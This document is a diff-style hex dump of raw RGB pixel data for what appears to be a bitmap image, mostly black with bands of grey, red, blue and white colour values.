+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000430C0CEF2929CE2323000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000B0202781515781515060101000000000000000000 +0000000000000000003709096D1313701313330909000000000000000000AC1E1EEF2929651111 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000520E0EEF2929EF2929EF2929EC2929000000000000000000000000000000000000000000 +430C0CEF2929CE2323000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000004A67866B95C2050709000000729FCF729FCF709DCC668FBA4B6988 +151D26000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000527395729FCF304358000000 +00000000000000000000000000000000000005070A395068395068030405000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000004A67866B95C2 +05070900000000000000000000000000000000000000000000000000000000000000000005070A +39506839506803040500000000000000000000000000000005070A395068395068030405000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000527395729FCF304358000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000414141EAEAEA000000494949E2E2E2000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000B5B5B5AEAEAE000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000160404EF2929EF29290B02020000000000000000000000000B0202AB1D1DEF2929EF2929 +EF2929EF2929721414000000000000AC1E1EEF2929651111000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000003F0B0BB82020C12121EF2929 +EC29290000000000000000000000000000000000000000002E0808A51C1C8E1818000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000C1116709CCB +3D556F000000000000729FCF729FCF729FCF729FCF729FCF6E99C81A242F000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000527395729FCF304358000000000000000000000000000000000000 +0000000B0F13729FCF729FCF05070A000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000C1116709CCB3D556F000000000000000000000000000000 +0000000000000000000000000000000000000000000B0F13729FCF729FCF05070A000000000000 +0000000000000000000B0F13729FCF729FCF05070A000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000527395729FCF304358000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000727272B9B9B9000000 +7A7A7AB1B1B1000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +282828FEFEFE3D3D3D000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000160404EF2929EF29290B0202 +000000000000000000000000A51C1CEA28286A12120F03031604049F1B1BEA2828200505000000 +AC1E1EEF2929651111000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000290707EF2929EC2929000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000003C546E709DCC0D1218000000000000729FCF729FCF +1C27321B26326085AE729FCF5A7DA3000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000527395 +729FCF3043580000000000000000000000000000000000000000000B0F13729FCF729FCF05070A +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +3C546E709DCC0D1218000000000000000000000000000000000000000000000000000000000000 +0000000000000B0F13729FCF729FCF05070A0000000000000000000000000000000B0F13729FCF +729FCF05070A000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000527395729FCF +304358000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000A3A3A3888888000000ABABAB808080000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000989898CCCCCC000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000000000000000D22424EF2929611111AE1E1EE82828E02626540E0E000000000000611111 +CC2323E92828CD2323661212000000000000000000000000611111CC2323E92828CD2323661212 +0000000000002D0808EF2929EF2929EF2929EF2929EF2929EF2929CE23230000003C0A0AEF2929 +6F1313000000010000150404150404EF2929580F0F000000AC1E1EEF2929651111000000641111 +EF2929E227272D0808000000380A0AA91D1DD82525EA2828DB2626991A1A120303000000000000 +000000290707EF2929EC29290000000000000000000000000000005A0F0FEF2929EF2929EF2929 +CE2323000000000000000000000000000000000000282828606060282828000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0406086A94C04B6888000000000000000000729FCF729FCF141B2400000019232D729FCF729FCF +0C10150000000000003043576187B0709CCB668FBA405A75040608000000000000010102395068 +638AB46F9BC96891BD52729511171E000000000000527395729FCF304358000000304357729FCF +6C96C4151E27151E27729FCF729FCF729FCF729FCF729FCF729FCF6289B3000000000000000000 +2E41546188B16F9BCA6289B23144580000000000000000006891BC729FCF2E40545C80A66F9BC9 +5476990D11170000000000000000000000000000000406086A94C04B6888000000000000000000 +1B2531507092678FBB709CCB6992BE496684080C0F000000151E27729FCF729FCF729FCF729FCF +729FCF729FCF6289B3000000151E27729FCF729FCF729FCF729FCF729FCF729FCF6289B3000000 +0000001B2531507092678FBB709CCB6992BE496684080C0F0000000000000000000A0E13476381 +6992BE6E99C75C80A72A3B4C000000000000527395729FCF304358000000304357729FCF6C96C4 +151E27000000010102395068638AB46F9BC96891BD52729511171E000000000000000000000000 +D4D4D4585858000000DCDCDC505050000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000131313F6F6F65A5A5A000000000000343434FFFFFF919191F6F6F6858585939393 +F3F3F3919191000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000000000000000D22424EF2929 +E52727DF2626B92020DB2626691212000000681212EF2929EF2929E12727EF2929EF29296F1313 +000000000000681212EF2929EF2929E12727EF2929EF29296F1313000000220606B82020BC2020 +EF2929EF2929BA2020B820209D1B1B000000911919E227270B0202340909D52424EF2929C22121 +EA2828721414000000AC1E1EEF2929651111430B0BEC2929E828283B0A0A000000000000781515 +EE2929CE2323B11E1EDC2626EF29299E1B1B000000000000000000290707EF2929EC2929000000 +000000000000000000000000440C0CB82020C72222EF2929CE2323000000000000000000000000 +0000000000006C6C6CFFFFFF6C6C6C000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000002F4256729FCF18222C000000000000 +000000729FCF729FCF141B24000000010102709CCB729FCF1E2A37000000354A61729FCF6F9BCA +5D82AA6C97C4729FCF50709100000000000033475D729FCF6A94C15070915B7FA5709CCB1E2A37 +000000000000527395729FCF304358202C3A719DCD6E9AC91C273300000010161D587A9F5A7DA3 +729FCF729FCF597BA1587A9F4B698800000000000032455A729FCF729FCF6B96C3729FCF729FCF +354A600000000000006891BC729FCF6E9AC9587A9F6993BF729FCF527295000000000000000000 +0000000000002F4256729FCF18222C000000000000000000395068729ECE6289B35476996993BF +729FCF4C698900000010161D587A9F5A7DA3729FCF729FCF597BA1587A9F4B698800000010161D +587A9F5A7DA3729FCF729FCF597BA1587A9F4B6988000000000000395068729ECE6289B3547699 +6993BF729FCF4C69890000000000000507096187AF729FCF729FCF6B96C3729FCF587A9F000000 +000000527395729FCF304358202C3A719DCD6E9AC91C273300000000000033475D729FCF6A94C1 +5070915B7FA5709CCB1E2A37000000242424FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF +FFFFFF000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000007B7B7BE4E4E4040404 +000000000000343434FFFFFF7E7E7E868686FEFEFE9E9E9E676767FFFFFF1B1B1B000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000000000000000D22424EF2929BC20200B0202000000060101210606 +060101DE2626EF2929671212000000621111EF2929E22727080101060101DE2626EF2929671212 +000000621111EF2929E22727080101000000000000160404EF2929EF29290B0202000000000000 +000000C42222A61C1C010000CB2323D825256010109C1B1BEF2929741414000000AC1E1EEF2929 +8C1818E12727EC2929490D0D0000000000000000003C0A0A220606000000000000210606EF2929 +E82828030000000000000000290707EF2929EC2929000000000000000000000000000000000000 +000000430C0CEF2929CE23230000000000000000000000000000000000006C6C6CFFFFFF6C6C6C +0000000000000000000001012B3C4F4D6B8C4B69882534430202030000000F151C1A2530000000 +0000000000000001016187B0587A9F000000000000000000000000729FCF729FCF141B24000000 +0000006891BC729FCF2635450406086C97C4729ECE172029000000090D116A94C0729FCF141C25 +0000004F6E8F729FCF2A3B4D0000000000000E13190C1116000000000000527395729FCF435D79 +6B96C3719DCD23313F0000000000000000000000000B0F13729FCF729FCF05070A000000000000 +0000000304056A94C0729FCF3145590000002F4155729FCF6C96C40406070000006891BC729FCF +496685000000141C25729FCF729ECE0D13180000000000000000000001016187B0587A9F000000 +0000000000000000001D283410161D00000000000010161C729FCF6E9AC9010202000000000000 +0B0F13729FCF729FCF05070A0000000000000000000000000000000B0F13729FCF729FCF05070A +0000000000000000000000001D283410161D00000000000010161C729FCF6E9AC9010202000000 +314458729FCF6B96C318222C000000090D112D3E51000000000000527395729FCF435D796B96C3 +719DCD23313F0000000000000000004F6E8F729FCF2A3B4D0000000000000E13190C1116000000 +0606063030306A6A6AE9E9E9303030737373E0E0E0303030303030000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000060606E6E6E6777777000000000000000000343434FFFFFF131313 +1F1F1FFFFFFF383838010101F9F9F9404040000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +000000D22424EF29295A0F0F0000000000000000000000002F0808EF2929E72828050101000000 +030000E22727EF29293509092F0808EF2929E72828050101000000030000E22727EF2929350909 +000000000000160404EF2929EF29290B0202000000000000000000DB26268A18181B0505EF2929 +6A1212000000060101E52727741414000000AC1E1EEF2929EF2929EF2929A21C1C000000000000 +0000000000000701015B10108D18189C1B1B9E1B1BEF2929EF2929140303000000000000290707 +EF2929EC2929000000000000000000000000000000000000000000430C0CEF2929CE2323000000 +000000000000000000000000000000000000000000000000000000000000000000263646729FCF +729FCF729FCF729FCF6891BD5A7DA3709CCB2D3E51000000000000000000222F3E729FCF253443 +000000000000000000000000729FCF729FCF141B240000000000006891BD729FCF2635451B2632 +729FCF6F9BCA5273955273955273956B95C2729FCF2A3B4D0000003F5872729FCF6C96C4435E7A +222F3D020304000000000000000000527395729FCF729FCF729FCF4D6C8C000000000000000000 +0000000000000B0F13729FCF729FCF05070A000000000000000000161F29729FCF6E99C8020304 +0000000102026C96C4729FCF19242E0000006891BC729FCF243342000000000000638AB3729FCF +1F2B38000000000000000000222F3E729FCF2534430000000000000000000000000405062B3C4F +435E7A4A68874C6989729FCF729FCF090D110000000000000B0F13729FCF729FCF05070A000000 +0000000000000000000000000B0F13729FCF729FCF05070A000000000000000000000000040506 +2B3C4F435E7A4A68874C6989729FCF729FCF090D110000004D6C8C729FCF405A75000000000000 +000000000000000000000000527395729FCF729FCF729FCF4D6C8C000000000000000000000000 +3F5872729FCF6C96C4435E7A222F3D0203040000000000000000000000007B7B7BB0B0B0000000 +858585A6A6A6000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000005E5E5E +F4F4F4111111000000000000000000343434FFFFFF050505121212FFFFFF292929000000EEEEEE +4C4C4C000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000D22424EF2929440C0C000000 +000000000000000000400B0BEF2929D42424000000000000000000CD2323EF2929460C0C400B0B +EF2929D42424000000000000000000CD2323EF2929460C0C000000000000160404EF2929EF2929 +0B0202000000000000000000DF26267C15151D0505EF29295E1010000000000000DD2626741414 +000000AC1E1EEF2929EF2929E82828EC29292A0707000000000000030000B21F1FEF2929EF2929 +EF2929EF2929EF2929EF29291A0505000000000000290707EF2929EC2929000000000000000000 +000000000000000000000000430C0CEF2929CE2323000000000000000000000000000000000000 +00000000000000000000000000000000000022303F2A3B4D080B0F0D1318374D646289B36B95C2 +4B6988090D11000000000000000000547699648BB5010202000000000000000000000000729FCF +729FCF141B24000000010202709CCB729FCF1E2A37243241729FCF729FCF729FCF729FCF729FCF +729FCF729FCF304357000000080C0F517194729ECE729FCF729FCF658CB7121920000000000000 +527395729FCF729FCF6F9BC9719DCD141C250000000000000000000000000B0F13729FCF729FCF +05070A0000000000000000001E2A37729FCF658DB70000000000000000006289B2729FCF222F3D +0000006891BC729FCF1D29350000000000005C80A7729FCF283748000000000000000000547699 +648BB501020200000000000000000001020255769A729FCF729FCF729FCF729FCF729FCF729FCF 